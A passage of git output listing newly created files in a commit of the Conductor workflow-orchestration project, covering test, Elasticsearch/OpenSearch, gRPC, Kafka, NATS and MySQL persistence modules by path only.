e2e/src/test/java/io/conductor/e2e/task/HTTPTaskTests.java create mode 100644 e2e/src/test/java/io/conductor/e2e/task/LLMChatCompleteTests.java create mode 100644 e2e/src/test/java/io/conductor/e2e/task/PollTimeoutTests.java create mode 100644 e2e/src/test/java/io/conductor/e2e/task/RetryPolicyTests.java create mode 100644 e2e/src/test/java/io/conductor/e2e/task/TaskTimeoutTests.java create mode 100644 e2e/src/test/java/io/conductor/e2e/task/WaitTaskTest.java create mode 100644 e2e/src/test/java/io/conductor/e2e/util/ApiUtil.java create mode 100644 e2e/src/test/java/io/conductor/e2e/util/Commons.java create mode 100644 e2e/src/test/java/io/conductor/e2e/util/RegistrationUtil.java create mode 100644 e2e/src/test/java/io/conductor/e2e/util/SimpleWorker.java create mode 100644 e2e/src/test/java/io/conductor/e2e/util/TestUtil.java create mode 100644 e2e/src/test/java/io/conductor/e2e/util/WorkflowUtil.java create mode 100644 e2e/src/test/java/io/conductor/e2e/workflow/ClearContextTest.java create mode 100644 e2e/src/test/java/io/conductor/e2e/workflow/EndTimeIssueTests.java create mode 100644 e2e/src/test/java/io/conductor/e2e/workflow/FailureWorkflowTests.java create mode 100644 e2e/src/test/java/io/conductor/e2e/workflow/JavaSDKTests.java create mode 100644 e2e/src/test/java/io/conductor/e2e/workflow/SyncWorkflowExecutionTest.java create mode 100644 e2e/src/test/java/io/conductor/e2e/workflow/WorkflowInputTests.java create mode 100644 e2e/src/test/java/io/conductor/e2e/workflow/WorkflowPriorityTests.java create mode 100644 e2e/src/test/java/io/conductor/e2e/workflow/WorkflowRerunTests.java create mode 100644 e2e/src/test/java/io/conductor/e2e/workflow/WorkflowRestartTests.java create mode 100644 e2e/src/test/java/io/conductor/e2e/workflow/WorkflowRetryTests.java create mode 100644 e2e/src/test/java/io/conductor/e2e/workflow/WorkflowSearchTests.java create mode 100644 e2e/src/test/resources/assets/melon7391.png create mode 100644 e2e/src/test/resources/exec_limit_workflow.json create mode 100644 e2e/src/test/resources/log4j2-test.xml create mode 100644 e2e/src/test/resources/metadata/.gitkeep create mode 100644 e2e/src/test/resources/metadata/broken_idempotency_logic_wf.json create mode 100644 e2e/src/test/resources/metadata/concurrency_check_http.json create mode 100644 e2e/src/test/resources/metadata/concurrency_check_wait30.json create mode 100644 e2e/src/test/resources/metadata/context_concurrency_issue.json create mode 100644 e2e/src/test/resources/metadata/cpewf_task_id_dyn_fork_task_def.json create mode 100644 e2e/src/test/resources/metadata/cpewf_task_id_dyn_fork_wf.json create mode 100644 e2e/src/test/resources/metadata/do_while_early_script_eval_wf.json create mode 100644 e2e/src/test/resources/metadata/do_while_keep_last_n_fix.json create mode 100644 e2e/src/test/resources/metadata/do_while_keep_last_n_switch_test.json create mode 100644 e2e/src/test/resources/metadata/do_while_wait_switch_iteration_test.json create mode 100644 e2e/src/test/resources/metadata/dyn_fork_test.json create mode 100644 e2e/src/test/resources/metadata/e2e_on_state_change_tests.json create mode 100644 e2e/src/test/resources/metadata/e2e_on_state_change_tests_sub.json create mode 100644 e2e/src/test/resources/metadata/e2e_on_state_change_tests_sub_set_variable.json create mode 100644 e2e/src/test/resources/metadata/end_time_workflow.json create mode 100644 e2e/src/test/resources/metadata/onstate_fix_test.json create mode 100644 e2e/src/test/resources/metadata/re_run_test_workflow.json create mode 100644 e2e/src/test/resources/metadata/signal_subworkflow.json create mode 100644 e2e/src/test/resources/metadata/stackoverflower.json create mode 100644 e2e/src/test/resources/metadata/sub_workflow_tests.json create mode 100644 e2e/src/test/resources/metadata/switch_rerun_issue.json create mode 100644 e2e/src/test/resources/metadata/switch_rerun_issue_2.json create mode 100644 e2e/src/test/resources/metadata/sync_task_variable_updates.json create mode 100644 e2e/src/test/resources/metadata/sync_workflows.json create mode 100644 e2e/src/test/resources/metadata/tasks_data.json create mode 100644 e2e/src/test/resources/metadata/timed-out-tasks-not-removed.json create mode 100644 e2e/src/test/resources/metadata/workflow_data.json create mode 100644 e2e/src/test/resources/metadata/workflow_rate_limit_in_progress_cleanup.json create mode 100644 e2e/src/test/resources/metadata/workflows.json create mode 100644 es6-persistence/README.md create mode 100644 es6-persistence/build.gradle create mode 100644 es6-persistence/src/main/java/com/netflix/conductor/es6/config/ElasticSearch6DeprecationConfiguration.java create mode 100644 es6-persistence/src/main/java/com/netflix/conductor/es6/config/ElasticSearchConditions.java create mode 100644 es6-persistence/src/test/java/com/netflix/conductor/es6/config/ElasticSearch6DeprecationTest.java create mode 100644 es7-persistence/README.md create mode 100644 es7-persistence/build.gradle create mode 100644 es7-persistence/src/main/java/com/netflix/conductor/es7/config/ElasticSearchConditions.java create mode 100644 es7-persistence/src/main/java/com/netflix/conductor/es7/config/ElasticSearchProperties.java create mode 100644 es7-persistence/src/main/java/com/netflix/conductor/es7/config/ElasticSearchV7Configuration.java create mode 100644 es7-persistence/src/main/java/com/netflix/conductor/es7/dao/index/BulkRequestBuilderWrapper.java create mode 100644 es7-persistence/src/main/java/com/netflix/conductor/es7/dao/index/BulkRequestWrapper.java create mode 100644 es7-persistence/src/main/java/com/netflix/conductor/es7/dao/index/ElasticSearchBaseDAO.java create mode 100644 es7-persistence/src/main/java/com/netflix/conductor/es7/dao/index/ElasticSearchRestDAOV7.java create mode 100644 es7-persistence/src/main/java/com/netflix/conductor/es7/dao/query/parser/Expression.java create mode 100644 es7-persistence/src/main/java/com/netflix/conductor/es7/dao/query/parser/FilterProvider.java create mode 100644 es7-persistence/src/main/java/com/netflix/conductor/es7/dao/query/parser/GroupedExpression.java create mode 100644 es7-persistence/src/main/java/com/netflix/conductor/es7/dao/query/parser/NameValue.java create mode 100644 es7-persistence/src/main/java/com/netflix/conductor/es7/dao/query/parser/internal/AbstractNode.java create mode 100644 es7-persistence/src/main/java/com/netflix/conductor/es7/dao/query/parser/internal/BooleanOp.java create mode 100644 es7-persistence/src/main/java/com/netflix/conductor/es7/dao/query/parser/internal/ComparisonOp.java create mode 100644 es7-persistence/src/main/java/com/netflix/conductor/es7/dao/query/parser/internal/ConstValue.java create mode 100644 es7-persistence/src/main/java/com/netflix/conductor/es7/dao/query/parser/internal/FunctionThrowingException.java create mode 100644 es7-persistence/src/main/java/com/netflix/conductor/es7/dao/query/parser/internal/ListConst.java create mode 100644 es7-persistence/src/main/java/com/netflix/conductor/es7/dao/query/parser/internal/Name.java create mode 100644 es7-persistence/src/main/java/com/netflix/conductor/es7/dao/query/parser/internal/ParserException.java create mode 100644 es7-persistence/src/main/java/com/netflix/conductor/es7/dao/query/parser/internal/Range.java create mode 100644 es7-persistence/src/main/resources/mappings_docType_task.json create mode 100644 es7-persistence/src/main/resources/mappings_docType_workflow.json create mode 100644 es7-persistence/src/main/resources/template_event.json create mode 100644 es7-persistence/src/main/resources/template_message.json create mode 100644 es7-persistence/src/main/resources/template_task_log.json create mode 100644 es7-persistence/src/test/java/com/netflix/conductor/es7/config/ElasticSearchPropertiesTest.java create mode 100644 es7-persistence/src/test/java/com/netflix/conductor/es7/dao/index/ElasticSearchRestDaoBaseTest.java create mode 100644 es7-persistence/src/test/java/com/netflix/conductor/es7/dao/index/ElasticSearchTest.java create mode 100644 es7-persistence/src/test/java/com/netflix/conductor/es7/dao/index/TestBulkRequestBuilderWrapper.java create mode 100644 es7-persistence/src/test/java/com/netflix/conductor/es7/dao/index/TestElasticSearchRestDAOV7.java create mode 100644 es7-persistence/src/test/java/com/netflix/conductor/es7/dao/index/TestElasticSearchRestDAOV7Batch.java create mode 100644 es7-persistence/src/test/java/com/netflix/conductor/es7/dao/query/parser/TestExpression.java create mode 100644 es7-persistence/src/test/java/com/netflix/conductor/es7/dao/query/parser/TestGroupedExpression.java create mode 100644 es7-persistence/src/test/java/com/netflix/conductor/es7/dao/query/parser/internal/AbstractParserTest.java create mode 100644 es7-persistence/src/test/java/com/netflix/conductor/es7/dao/query/parser/internal/TestBooleanOp.java create mode 100644 es7-persistence/src/test/java/com/netflix/conductor/es7/dao/query/parser/internal/TestComparisonOp.java create mode 100644 es7-persistence/src/test/java/com/netflix/conductor/es7/dao/query/parser/internal/TestConstValue.java create mode 100644 es7-persistence/src/test/java/com/netflix/conductor/es7/dao/query/parser/internal/TestName.java create mode 100644 es7-persistence/src/test/java/com/netflix/conductor/es7/utils/TestUtils.java create mode 100644 es7-persistence/src/test/resources/expected_template_task_log.json create mode 100644 es7-persistence/src/test/resources/task_summary.json create mode 100644 es7-persistence/src/test/resources/workflow_summary.json create mode 100644 es8-persistence/README.md create mode 100644 es8-persistence/build.gradle create mode 100644 es8-persistence/src/main/java/org/conductoross/conductor/es8/config/ElasticSearchConditions.java create mode 100644 es8-persistence/src/main/java/org/conductoross/conductor/es8/config/ElasticSearchProperties.java create mode 100644 es8-persistence/src/main/java/org/conductoross/conductor/es8/config/ElasticSearchV8Configuration.java create mode 100644 es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/index/ElasticSearchRestDAOV8.java create mode 100644 es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/index/Es8BulkIngestionSupport.java create mode 100644 es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/index/Es8IndexManagementSupport.java create mode 100644 es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/index/Es8SearchSupport.java create mode 100644 es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/query/parser/Expression.java create mode 100644 es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/query/parser/FilterProvider.java create mode 100644 es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/query/parser/GroupedExpression.java create mode 100644 es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/query/parser/NameValue.java create mode 100644 es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/query/parser/internal/AbstractNode.java create mode 100644 es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/query/parser/internal/BooleanOp.java create mode 100644 es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/query/parser/internal/ComparisonOp.java create mode 100644 es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/query/parser/internal/ConstValue.java create mode 100644 es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/query/parser/internal/FunctionThrowingException.java create mode 100644 es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/query/parser/internal/ListConst.java create mode 100644 es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/query/parser/internal/Name.java create mode 100644 es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/query/parser/internal/ParserException.java create mode 100644 es8-persistence/src/main/java/org/conductoross/conductor/es8/dao/query/parser/internal/Range.java create mode 100644 es8-persistence/src/main/resources/template_event.json create mode 100644 es8-persistence/src/main/resources/template_message.json create mode 100644 es8-persistence/src/main/resources/template_task.json create mode 100644 es8-persistence/src/main/resources/template_task_log.json create mode 100644 es8-persistence/src/main/resources/template_workflow.json create mode 100644 es8-persistence/src/test/java/org/conductoross/conductor/es8/config/ElasticSearchConditionsTest.java create mode 100644 es8-persistence/src/test/java/org/conductoross/conductor/es8/config/ElasticSearchPropertiesTest.java create mode 100644 es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/index/ElasticSearchRestDAOV8ResourceExistenceTest.java create mode 100644 es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/index/ElasticSearchRestDaoBaseTest.java create mode 100644 es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/index/ElasticSearchTest.java create mode 100644 es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/index/Es8BulkIngestionSupportTest.java create mode 100644 es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/index/Es8SearchSupportTest.java create mode 100644 es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/index/TestElasticSearchRestDAOV8.java create mode 100644 es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/index/TestElasticSearchRestDAOV8Batch.java create mode 100644 es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/query/parser/TestExpression.java create mode 100644 es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/query/parser/TestGroupedExpression.java create mode 100644 es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/query/parser/TestNameValueQueryBuilder.java create mode 100644 es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/query/parser/internal/AbstractParserTest.java create mode 100644 es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/query/parser/internal/TestBooleanOp.java create mode 100644 es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/query/parser/internal/TestComparisonOp.java create mode 100644 es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/query/parser/internal/TestConstValue.java create mode 100644 es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/query/parser/internal/TestName.java create mode 100644 es8-persistence/src/test/java/org/conductoross/conductor/es8/utils/TestUtils.java create mode 100644 es8-persistence/src/test/resources/expected_template_task_log.json create mode 100644 es8-persistence/src/test/resources/task_summary.json create mode 100644 es8-persistence/src/test/resources/workflow_summary.json create mode 100644 family.properties create mode 100644 gcs-storage/build.gradle create mode 100644 gcs-storage/src/main/java/org/conductoross/conductor/gcs/config/GcsFileStorageConfiguration.java create mode 100644 gcs-storage/src/main/java/org/conductoross/conductor/gcs/config/GcsFileStorageProperties.java create mode 100644 gcs-storage/src/main/java/org/conductoross/conductor/gcs/storage/GcsFileStorage.java create mode 100644 gcs-storage/src/main/resources/META-INF/additional-spring-configuration-metadata.json create mode 100644 gradle.properties create mode 100644 gradle/wrapper/gradle-wrapper.jar create mode 100644 gradle/wrapper/gradle-wrapper.properties create mode 100755 gradlew create mode 100644 gradlew.bat create mode 100644 grpc-client/README.md create mode 100644 grpc-client/build.gradle create mode 100644 grpc-client/src/main/java/com/netflix/conductor/client/grpc/ClientBase.java create mode 100644 grpc-client/src/main/java/com/netflix/conductor/client/grpc/EventClient.java create mode 100644 grpc-client/src/main/java/com/netflix/conductor/client/grpc/MetadataClient.java create mode 100644 grpc-client/src/main/java/com/netflix/conductor/client/grpc/TaskClient.java create mode 100644 grpc-client/src/main/java/com/netflix/conductor/client/grpc/WorkflowClient.java create mode 100644 grpc-client/src/test/java/com/netflix/conductor/client/grpc/EventClientTest.java create mode 100644 grpc-client/src/test/java/com/netflix/conductor/client/grpc/TaskClientTest.java create mode 100644 grpc-client/src/test/java/com/netflix/conductor/client/grpc/WorkflowClientTest.java create mode 100644 grpc-client/src/test/resources/mockito-extensions/org.mockito.plugins.MockMaker create mode 100644 grpc-server/build.gradle create mode 100644 grpc-server/src/main/java/com/netflix/conductor/grpc/server/GRPCServer.java create mode 100644 grpc-server/src/main/java/com/netflix/conductor/grpc/server/GRPCServerProperties.java create mode 100644 grpc-server/src/main/java/com/netflix/conductor/grpc/server/GrpcConfiguration.java create mode 100644 grpc-server/src/main/java/com/netflix/conductor/grpc/server/service/EventServiceImpl.java create mode 100644 grpc-server/src/main/java/com/netflix/conductor/grpc/server/service/GRPCHelper.java create mode 100644 grpc-server/src/main/java/com/netflix/conductor/grpc/server/service/HealthServiceImpl.java create mode 100644 grpc-server/src/main/java/com/netflix/conductor/grpc/server/service/MetadataServiceImpl.java create mode 100644 grpc-server/src/main/java/com/netflix/conductor/grpc/server/service/TaskServiceImpl.java create mode 100644 grpc-server/src/main/java/com/netflix/conductor/grpc/server/service/WorkflowServiceImpl.java create mode 100644 grpc-server/src/test/java/com/netflix/conductor/grpc/server/service/HealthServiceImplTest.java create mode 100644 grpc-server/src/test/java/com/netflix/conductor/grpc/server/service/TaskServiceImplTest.java create mode 100644 grpc-server/src/test/java/com/netflix/conductor/grpc/server/service/WorkflowServiceImplTest.java create mode 100644 grpc-server/src/test/resources/log4j.properties create mode 100644 grpc/build.gradle create mode 100644 grpc/src/main/java/com/netflix/conductor/grpc/AbstractProtoMapper.java create mode 100644 grpc/src/main/java/com/netflix/conductor/grpc/ProtoMapper.java create mode 100644 grpc/src/main/proto/grpc/event_service.proto create mode 100644 grpc/src/main/proto/grpc/metadata_service.proto create mode 100644 grpc/src/main/proto/grpc/search.proto create mode 100644 grpc/src/main/proto/grpc/task_service.proto create mode 100644 grpc/src/main/proto/grpc/workflow_service.proto create mode 100644 grpc/src/main/proto/model/cacheconfig.proto create mode 100644 grpc/src/main/proto/model/dynamicforkjointask.proto create mode 100644 grpc/src/main/proto/model/dynamicforkjointasklist.proto create mode 100644 grpc/src/main/proto/model/eventexecution.proto create mode 100644 grpc/src/main/proto/model/eventhandler.proto create mode 100644 grpc/src/main/proto/model/executionmetadata.proto create mode 100644 grpc/src/main/proto/model/polldata.proto create mode 100644 grpc/src/main/proto/model/ratelimitconfig.proto create mode 100644 grpc/src/main/proto/model/rerunworkflowrequest.proto create mode 100644 grpc/src/main/proto/model/schemadef.proto create mode 100644 grpc/src/main/proto/model/skiptaskrequest.proto create mode 100644 grpc/src/main/proto/model/startworkflowrequest.proto create mode 100644 grpc/src/main/proto/model/statechangeevent.proto create mode 100644 grpc/src/main/proto/model/subworkflowparams.proto create mode 100644 grpc/src/main/proto/model/task.proto create mode 100644 grpc/src/main/proto/model/taskdef.proto create mode 100644 grpc/src/main/proto/model/taskexeclog.proto create mode 100644 grpc/src/main/proto/model/taskresult.proto create mode 100644 grpc/src/main/proto/model/tasksummary.proto create mode 100644 grpc/src/main/proto/model/upgradeworkflowrequest.proto create mode 100644 grpc/src/main/proto/model/workflow.proto create mode 100644 grpc/src/main/proto/model/workflowdef.proto create mode 100644 grpc/src/main/proto/model/workflowdefsummary.proto create mode 100644 grpc/src/main/proto/model/workflowsummary.proto create mode 100644 grpc/src/main/proto/model/workflowtask.proto create mode 100644 grpc/src/test/java/com/netflix/conductor/grpc/TestProtoMapper.java create mode 100755 hooks/pre-commit create mode 100644 http-task/build.gradle create mode 100644 http-task/src/main/java/com/netflix/conductor/tasks/http/HttpTask.java create mode 100644 http-task/src/main/java/com/netflix/conductor/tasks/http/providers/DefaultRestTemplateProvider.java create mode 100644 http-task/src/main/java/com/netflix/conductor/tasks/http/providers/RestTemplateProvider.java create mode 100644 http-task/src/main/resources/META-INF/additional-spring-configuration-metadata.json create mode 100644 http-task/src/test/java/com/netflix/conductor/tasks/http/HttpTaskTest.java create mode 100644 http-task/src/test/java/com/netflix/conductor/tasks/http/HttpTaskUnitTest.java create mode 100644 http-task/src/test/java/com/netflix/conductor/tasks/http/providers/DefaultRestTemplateProviderTest.java create mode 100644 json-jq-task/build.gradle create mode 100644 json-jq-task/src/main/java/com/netflix/conductor/tasks/json/JsonJqTransform.java create mode 100644 json-jq-task/src/test/java/com/netflix/conductor/tasks/json/JsonJqTransformTest.java create mode 100644 kafka-event-queue/README.md create mode 100644 kafka-event-queue/build.gradle create mode 100644 kafka-event-queue/src/main/java/com/netflix/conductor/kafkaeq/config/KafkaEventQueueConfiguration.java create mode 100644 kafka-event-queue/src/main/java/com/netflix/conductor/kafkaeq/config/KafkaEventQueueProperties.java create mode 100644 kafka-event-queue/src/main/java/com/netflix/conductor/kafkaeq/config/KafkaEventQueueProvider.java create mode 100644 kafka-event-queue/src/main/java/com/netflix/conductor/kafkaeq/eventqueue/KafkaObservableQueue.java create mode 100644 kafka-event-queue/src/main/resources/META-INF/additional-spring-configuration-metadata.json create mode 100644 kafka-event-queue/src/test/java/com/netflix/conductor/kafkaeq/eventqueue/KafkaObservableQueueTest.java create mode 100644 kafka/README.md create mode 100644 kafka/build.gradle create mode 100644 kafka/src/main/java/com/netflix/conductor/contribs/tasks/kafka/KafkaProducerManager.java create mode 100644 kafka/src/main/java/com/netflix/conductor/contribs/tasks/kafka/KafkaPublishTask.java create mode 100644 kafka/src/main/java/com/netflix/conductor/core/execution/mapper/KafkaPublishTaskMapper.java create mode 100644 kafka/src/test/groovy/com/netflix/conductor/test/integration/KafkaPublishTaskSpec.groovy create mode 100644 kafka/src/test/java/com/netflix/conductor/contribs/tasks/kafka/KafkaProducerManagerTest.java create mode 100644 kafka/src/test/java/com/netflix/conductor/contribs/tasks/kafka/KafkaPublishTaskTest.java create mode 100644 kafka/src/test/java/com/netflix/conductor/core/execution/mapper/KafkaPublishTaskMapperTest.java create mode 100644 kafka/src/test/resources/application-integrationtest.properties create mode 100644 kafka/src/test/resources/input.json create mode 100644 kafka/src/test/resources/output.json create mode 100644 kafka/src/test/resources/simple_json_jq_transform_integration_test.json create mode 100644 licenseheader.txt create mode 100644 local-file-storage/build.gradle create mode 100644 local-file-storage/src/main/java/org/conductoross/conductor/local/config/LocalFileStorageConfiguration.java create mode 100644 local-file-storage/src/main/java/org/conductoross/conductor/local/config/LocalFileStorageProperties.java create mode 100644 local-file-storage/src/main/java/org/conductoross/conductor/local/storage/LocalFileStorage.java create mode 100644 local-file-storage/src/main/resources/META-INF/additional-spring-configuration-metadata.json create mode 100644 local-file-storage/src/test/java/org/conductoross/conductor/local/storage/LocalFileStorageTest.java create mode 100644 main.py create mode 100644 mkdocs.yml create mode 100644 mysql-persistence/build.gradle create mode 100644 mysql-persistence/src/main/java/com/netflix/conductor/mysql/config/MySQLConfiguration.java create mode 100644 mysql-persistence/src/main/java/com/netflix/conductor/mysql/config/MySQLProperties.java create mode 100644 mysql-persistence/src/main/java/com/netflix/conductor/mysql/dao/MySQLBaseDAO.java create mode 100644 mysql-persistence/src/main/java/com/netflix/conductor/mysql/dao/MySQLExecutionDAO.java create mode 100644 mysql-persistence/src/main/java/com/netflix/conductor/mysql/dao/MySQLMetadataDAO.java create mode 100644 mysql-persistence/src/main/java/com/netflix/conductor/mysql/dao/MySQLQueueDAO.java create mode 100644 mysql-persistence/src/main/java/com/netflix/conductor/mysql/util/ExecuteFunction.java create mode 100644 mysql-persistence/src/main/java/com/netflix/conductor/mysql/util/LazyToString.java create mode 100644 mysql-persistence/src/main/java/com/netflix/conductor/mysql/util/Query.java create mode 100644 mysql-persistence/src/main/java/com/netflix/conductor/mysql/util/QueryFunction.java create mode 100644 mysql-persistence/src/main/java/com/netflix/conductor/mysql/util/ResultSetHandler.java create mode 100644 mysql-persistence/src/main/java/com/netflix/conductor/mysql/util/TransactionalFunction.java create mode 100644 mysql-persistence/src/main/java/org/conductoross/conductor/mysql/dao/MySQLFileMetadataDAO.java create mode 100644 mysql-persistence/src/main/java/org/conductoross/conductor/mysql/dao/MySQLSkillMetadataDAO.java create mode 100644 mysql-persistence/src/main/java/org/conductoross/conductor/mysql/dao/MySQLSkillPackageDAO.java create mode 100644 mysql-persistence/src/main/resources/db/migration/V10__agentspan_skills.sql create mode 100644 mysql-persistence/src/main/resources/db/migration/V1__initial_schema.sql create mode 100644 mysql-persistence/src/main/resources/db/migration/V2__queue_message_timestamps.sql create mode 100644 mysql-persistence/src/main/resources/db/migration/V3__queue_add_priority.sql create mode 100644 mysql-persistence/src/main/resources/db/migration/V4__1009_Fix_MySQLExecutionDAO_Index.sql create mode 100644 mysql-persistence/src/main/resources/db/migration/V5__correlation_id_index.sql create mode 100644 mysql-persistence/src/main/resources/db/migration/V6__new_qm_index_with_priority.sql create mode 100644 mysql-persistence/src/main/resources/db/migration/V7__new_queue_message_pk.sql create mode 100644 mysql-persistence/src/main/resources/db/migration/V8__update_pk.sql create mode 100644 mysql-persistence/src/main/resources/db/migration/V9__file_metadata.sql create mode 100644 mysql-persistence/src/test/java/com/netflix/conductor/mysql/dao/MySQLExecutionDAOTest.java create mode 100644 mysql-persistence/src/test/java/com/netflix/conductor/mysql/dao/MySQLMetadataDAOTest.java create mode 100644 mysql-persistence/src/test/java/com/netflix/conductor/mysql/dao/MySQLQueueDAOTest.java create mode 100644 mysql-persistence/src/test/java/com/netflix/conductor/test/integration/grpc/mysql/MySQLGrpcEndToEndTest.java create mode 100644 mysql-persistence/src/test/resources/application.properties create mode 100644 nats-streaming/README.md create mode 100644 nats-streaming/build.gradle create mode 100644 nats-streaming/src/main/java/com/netflix/conductor/contribs/queue/stan/NATSAbstractQueue.java create mode 100644 nats-streaming/src/main/java/com/netflix/conductor/contribs/queue/stan/NATSObservableQueue.java create mode 100644 nats-streaming/src/main/java/com/netflix/conductor/contribs/queue/stan/NATSStreamObservableQueue.java create mode 100644 nats-streaming/src/main/java/com/netflix/conductor/contribs/queue/stan/config/NATSConfiguration.java create mode 100644 nats-streaming/src/main/java/com/netflix/conductor/contribs/queue/stan/config/NATSEventQueueProvider.java create mode 100644 nats-streaming/src/main/java/com/netflix/conductor/contribs/queue/stan/config/NATSStreamConfiguration.java create mode 100644 nats-streaming/src/main/java/com/netflix/conductor/contribs/queue/stan/config/NATSStreamEventQueueProvider.java create mode 100644 nats-streaming/src/main/java/com/netflix/conductor/contribs/queue/stan/config/NATSStreamProperties.java create mode 100644 nats/build.gradle create mode 100644 nats/src/main/java/com/netflix/conductor/contribs/queue/nats/JetStreamObservableQueue.java create mode 100644 nats/src/main/java/com/netflix/conductor/contribs/queue/nats/JsmMessage.java create mode 100644 nats/src/main/java/com/netflix/conductor/contribs/queue/nats/LoggingNatsErrorListener.java create mode 100644 nats/src/main/java/com/netflix/conductor/contribs/queue/nats/NATSAbstractQueue.java create mode 100644 nats/src/main/java/com/netflix/conductor/contribs/queue/nats/NATSObservableQueue.java create mode 100644 nats/src/main/java/com/netflix/conductor/contribs/queue/nats/NatsException.java create mode 100644 nats/src/main/java/com/netflix/conductor/contribs/queue/nats/config/JetStreamConfiguration.java create mode 100644 nats/src/main/java/com/netflix/conductor/contribs/queue/nats/config/JetStreamEventQueueProvider.java create mode 100644 nats/src/main/java/com/netflix/conductor/contribs/queue/nats/config/JetStreamProperties.java create mode 100644 nats/src/main/java/com/netflix/conductor/contribs/queue/nats/config/NATSConfiguration.java create mode 100644 nats/src/main/java/com/netflix/conductor/contribs/queue/nats/config/NATSEventQueueProvider.java create mode 100644 nats/src/test/java/com/netflix/conductor/contribs/queue/nats/JetStreamObservableQueueTest.java create mode 100644 os-persistence-v2/README.md create mode 100644 os-persistence-v2/build.gradle create mode 100644 os-persistence-v2/src/main/java/org/conductoross/conductor/os2/config/OpenSearchConditions.java create mode 100644 os-persistence-v2/src/main/java/org/conductoross/conductor/os2/config/OpenSearchConfiguration.java create mode 100644 os-persistence-v2/src/main/java/org/conductoross/conductor/os2/config/OpenSearchProperties.java create mode 100644 os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/index/BulkRequestBuilderWrapper.java create mode 100644 os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/index/BulkRequestWrapper.java create mode 100644 os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/index/OpenSearchBaseDAO.java create mode 100644 os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/index/OpenSearchRestDAO.java create mode 100644 os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/query/parser/Expression.java create mode 100644 os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/query/parser/FilterProvider.java create mode 100644 os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/query/parser/GroupedExpression.java create mode 100644 os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/query/parser/NameValue.java create mode 100644 os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/query/parser/internal/AbstractNode.java create mode 100644 os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/query/parser/internal/BooleanOp.java create mode 100644 os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/query/parser/internal/ComparisonOp.java create mode 100644 os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/query/parser/internal/ConstValue.java create mode 100644 os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/query/parser/internal/FunctionThrowingException.java create mode 100644 os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/query/parser/internal/ListConst.java create mode 100644 os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/query/parser/internal/Name.java create mode 100644 os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/query/parser/internal/ParserException.java create mode 100644 os-persistence-v2/src/main/java/org/conductoross/conductor/os2/dao/query/parser/internal/Range.java create mode 100644 os-persistence-v2/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports create mode 100644 os-persistence-v2/src/main/resources/mappings_docType_task.json create mode 100644 os-persistence-v2/src/main/resources/mappings_docType_workflow.json create mode 100644 os-persistence-v2/src/main/resources/template_event.json create mode 100644 os-persistence-v2/src/main/resources/template_message.json create mode 100644 os-persistence-v2/src/main/resources/template_task_log.json create mode 100644 os-persistence-v2/src/test/java/org/conductoross/conductor/os2/config/OpenSearchPropertiesTest.java create mode 100644 os-persistence-v2/src/test/java/org/conductoross/conductor/os2/dao/index/OpenSearchRestDaoBaseTest.java create mode 100644 os-persistence-v2/src/test/java/org/conductoross/conductor/os2/dao/index/OpenSearchTest.java create mode 100644 os-persistence-v2/src/test/java/org/conductoross/conductor/os2/dao/index/TestBulkRequestBuilderWrapper.java create mode 100644 os-persistence-v2/src/test/java/org/conductoross/conductor/os2/dao/index/TestOpenSearchRestDAO.java create mode 100644 os-persistence-v2/src/test/java/org/conductoross/conductor/os2/dao/index/TestOpenSearchRestDAOBatch.java create mode 100644 os-persistence-v2/src/test/java/org/conductoross/conductor/os2/dao/query/parser/TestExpression.java create mode 100644 os-persistence-v2/src/test/java/org/conductoross/conductor/os2/dao/query/parser/TestGroupedExpression.java create mode 100644 os-persistence-v2/src/test/java/org/conductoross/conductor/os2/dao/query/parser/internal/AbstractParserTest.java create mode 100644 os-persistence-v2/src/test/java/org/conductoross/conductor/os2/dao/query/parser/internal/TestBooleanOp.java create mode 100644 os-persistence-v2/src/test/java/org/conductoross/conductor/os2/dao/query/parser/internal/TestComparisonOp.java create mode 100644 os-persistence-v2/src/test/java/org/conductoross/conductor/os2/dao/query/parser/internal/TestConstValue.java create mode 100644 os-persistence-v2/src/test/java/org/conductoross/conductor/os2/dao/query/parser/internal/TestName.java create mode 100644 